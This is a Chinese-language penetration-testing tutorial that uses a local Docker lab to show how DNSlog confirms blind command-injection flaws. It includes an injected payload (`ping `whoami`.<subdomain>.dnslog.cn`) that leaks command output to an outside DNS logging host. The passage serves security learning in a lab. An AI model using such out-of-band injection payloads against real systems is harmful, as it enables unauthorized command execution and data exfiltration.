1. 程式人生 > >通過DNSLOG回顯驗證漏洞

通過DNSLOG回顯驗證漏洞

## 通過DNSLOG回顯驗證漏洞 ### 前言 實際滲透測試中,有些漏洞因為沒有回顯導致無法準確判斷漏洞是否存在,可能導致滲透測試人員浪費大量精力在一個並不存在的漏洞上,因此為了驗證一些無回顯漏洞,可結合DNSlog平臺進行測試,本文使用的DNSlog平臺連結如下:*`http://dnslog.cn/`* ### 原理 DNSlog檢測原理在此就不多贅述了,網上相關資料鋪天蓋地,此處引用一張FREEBUF的圖用以說明,此圖現在看不懂沒關係,當做完實驗後再返回檢視本圖思維就會很清晰了。 ### 環境搭建 #### 1. 安裝Docker 接下來直接搭建靶場,進入實驗環境,本實驗使用Docker搭建漏洞環境,作業系統是windows 10,Docker Desktop提供了較為完善的圖形化操作介面,且相容性隨著版本更新目前已經與linux下執行的Docker無區別,安裝方式見官網,安裝操作較為簡單,無腦下一步即可,安裝完成後需要重啟,接著按照說明一步步安裝其他必備環境,這裡就不再細說了。 #### 2.拉取映象 - 開啟CMD/PowerShell執行以下命令:`docker pull ge592555078/lkwa`從倉庫拉取映象 - 接著開啟Docker Desktop按照下圖操作執行剛才拉取的環境,並**將80埠對映到本地的81埠**。
// *或者在命令列中直接輸入`docker run -d -p 81:80 ge592555078/lkwa`* - 此時訪問`http://localhost:81/`應當出現apache的預設頁面,證明環境搭建完成: ### 漏洞復現 由於主要學習dnslog的使用,我們就用環境中命令執行模組復現。 1. 訪問`http://localhost:81/index.php`此為漏洞環境的主頁 2. 左側選擇`Bind RCE`命令注入環境 3. 此時訪問dnslog平臺:`http://dnslog.cn/`點選頁面上`Get SubDomain`生成專屬子域名
4. 回到漏洞環境,在右側命令執行輸入框中輸入如下命令之後點選`submit`按鈕提交執行。*(whoami後應該銜接剛才生成的**對應子域名**)* ``` ping `whoami`.cp2wj5.dnslog.cn ``` 5. 再返回DNSlog平臺,點選重新整理解析記錄按鈕,可以發現whoami的執行結果已經拼接成四級域名了: 至此為止試驗結束。 ### 分析總結 存在無回顯漏洞的主機訪問DNSlog平臺就會留下DNS解析記錄,可以通過DNS解析記錄檢視最終的執行結果,如示例中的語句: ``` ping `whoami`.cp2wj5.dnslog.cn 此語句實際上是: ping www-data.yafjqc.dnslog.cn ``` 包圍著`whoami`的符號是反單引號,是`shift`+`~`組合打出來的符號,表示執行命令的意思,那麼最終`ping`的結果就是`ping whoami執行後的主機名.隨機三級域名.dnslog.cn`,解析的時候一層一層的迭代解析,最終指向`dnslog.cn`伺服器上你的專屬三級域名,並附帶上執行結果*(四級域名)*,那麼此時看dnslog伺服器的DNS解析記錄即可檢視whoami的執行結果,如果對DNS協議不清楚此時應先去學習DNS解析原理,不然此篇文章學習起來較為